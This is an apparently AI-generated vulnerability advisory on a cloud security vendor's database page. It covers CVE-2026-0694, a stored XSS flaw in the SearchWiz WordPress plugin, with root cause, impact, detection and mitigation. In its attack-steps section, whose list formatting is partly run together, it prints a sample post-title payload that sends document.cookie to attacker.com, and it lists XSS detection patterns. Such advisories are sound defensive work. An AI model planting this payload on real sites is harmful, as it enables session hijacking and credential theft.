
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-0694 is a Stored Cross-Site Scripting (XSS) vulnerability in the SearchWiz plugin for WordPress, affecting all versions up to and including 1.0.0. The flaw allows authenticated attackers with contributor-level access or above to inject arbitrary web scripts via malicious post titles that execute when any user views search results. It was published on January 14, 2026, with Wordfence as the reporting CNA. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, NVD).
The root cause is improper output encoding (CWE-79): the plugin uses WordPress's esc_attr() function instead of the correct esc_html() function when rendering post titles in search results, allowing HTML/JavaScript to break out of attribute context and execute as markup. The vulnerable code is located in public/class-sw-ajax.php at line 616 of the SearchWiz plugin. An attacker with at least contributor-level access creates or edits a post with a malicious title containing a JavaScript payload; the script executes in the browser of any user who subsequently performs a search that returns that post in results. No special configuration is required beyond having contributor access on the target WordPress site (NVD, Wordfence).
Successful exploitation enables persistent script execution in the context of any user who views search results on the affected WordPress site, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized administrative actions (such as creating rogue admin accounts), or defacement. Confidentiality and integrity are both impacted at a low-to-moderate level, while availability is not directly affected (Wordfence, NVD).
No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-0694. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).
Test Post<script>document.location='https://attacker.com/steal?c='+document.cookie</script>, then publish or submit it for review.esc_attr() instead of esc_html(), the injected script is not properly sanitized in the HTML context and executes in the victim's browser, enabling session hijacking or further attacks (NVD, Wordfence)./?s= or AJAX search endpoints) returning posts with unusual titles containing HTML/script tags; error logs showing unexpected JavaScript-related content in post title fields.wp_posts containing <script>, javascript:, onerror=, or similar XSS payloads associated with contributor-authored content.Users should update the SearchWiz plugin to a version beyond 1.0.0 if a patched release becomes available from the plugin author. As an interim workaround, site administrators can restrict contributor-level post creation or disable the SearchWiz plugin entirely until a fix is released. Additionally, a Web Application Firewall (WAF) rule targeting XSS payloads in post titles can help mitigate exploitation risk. Wordfence users with the premium firewall are advised to check for relevant firewall rules covering this vulnerability (Wordfence).
Wordfence disclosed the vulnerability and included it in their weekly WordPress vulnerability report for January 12–18, 2026, as part of routine plugin security monitoring (Wordfence Blog). The vulnerability received limited broader community attention given its medium severity and requirement for authenticated access. No notable researcher commentary or significant media coverage beyond standard vulnerability aggregator listings has been observed.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."